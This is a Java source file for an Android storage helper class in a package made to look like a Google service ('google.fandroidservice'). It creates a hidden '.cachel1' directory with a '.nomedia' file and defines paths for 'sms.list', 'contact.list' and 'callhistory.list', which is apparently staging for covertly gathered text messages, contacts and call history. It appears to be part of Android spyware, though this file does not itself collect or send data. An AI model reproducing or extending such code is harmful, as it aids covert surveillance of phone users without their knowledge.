package google.fandroidservice.utils;

import android.os.Environment;
import android.text.TextUtils;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;

public class StorageHelper {
    private static String TAG = "StorageHelper";
    private boolean externalStorageAvailable;
    private boolean externalStorageWriteable;
    private static String SMSFILE = "";
    private static String CONTACTFILE = "";
    private static String CALLHISTORY = "";
    private static String mCacheDir = "";

    private void checkStorage() {
        String state = Environment.getExternalStorageState();
        if (state.equals("mounted")) {
            this.externalStorageWriteable = true;
            this.externalStorageAvailable = true;
        } else if (state.equals("mounted_ro")) {
            this.externalStorageAvailable = true;
            this.externalStorageWriteable = false;
        } else {
            this.externalStorageWriteable = false;
            this.externalStorageAvailable = false;
        }
    }

    public boolean isExternalStorageAvailable() {
        checkStorage();
        return this.externalStorageAvailable;
    }

    public boolean isExternalStorageWriteable() {
        checkStorage();
        return this.externalStorageWriteable;
    }

    public boolean isExternalStorageAvailableAndWriteable() {
        checkStorage();
        if (this.externalStorageAvailable && this.externalStorageWriteable) {
            return true;
        }
        return false;
    }



    public static void CreateCacheDirectories(File internalCache, File externalCache) {
        File sdDir;
        FileOutputStream fileOutputStream;

        if (new StorageHelper().isExternalStorageAvailableAndWriteable()) {
            sdDir = externalCache;
        } else {
            sdDir = internalCache;
        }
        File cachedir = new File(sdDir, "/.cachel1/");
        createDirectory(cachedir);
        mCacheDir = cachedir.getAbsolutePath() + File.separator;

        File file=new File(cachedir, ".nomedia");//创建文件
        if(!file.exists()){
            try {
                file.createNewFile();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    }



    public static void createDirectory(File dir) throws IllegalStateException {
        if (!dir.exists() && !dir.mkdirs()) {
            throw new IllegalStateException("Check if you've added permissions in AndroidManifest.xml: \n<uses-permission android:name=\"android.permission.WRITE_EXTERNAL_STORAGE\"/> \n");
        }
    }


    public static void deleteFolderFile(String filePath, boolean deleteThisPath) {
        if (!TextUtils.isEmpty(filePath)) {
            try {
                File file = new File(filePath);
                if (file.isDirectory()) { //目录
                    File files[] = file.listFiles();
                    for (int i = 0; i < files.length; i++) {
                        deleteFolderFile(files[i].getAbsolutePath(), true);
                    }
                }
                if (deleteThisPath) {
                    if (!file.isDirectory()) { //如果是文件，删除
                        file.delete();
                    } else { //目录
                        if (file.listFiles().length == 0) { //目录下没有文件或者目录，删除
                            file.delete();
                        }
                    }
                }
            } catch (Exception e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    }



    public static String getSmsPath(){

        if(SMSFILE.isEmpty()){
            SMSFILE = mCacheDir + "sms.list";
        }
        return SMSFILE;
    }

    public static String getContactPath(){

        if(CONTACTFILE.isEmpty()){
            CONTACTFILE = mCacheDir + "contact.list";
        }
        return CONTACTFILE;
    }

    public static String getCallLogPath(){

        if(CALLHISTORY.isEmpty()){
            CALLHISTORY = mCacheDir + "callhistory.list";
        }
        return CALLHISTORY;
    }

    public static String getCacheDir(){
        return mCacheDir;
    }
}
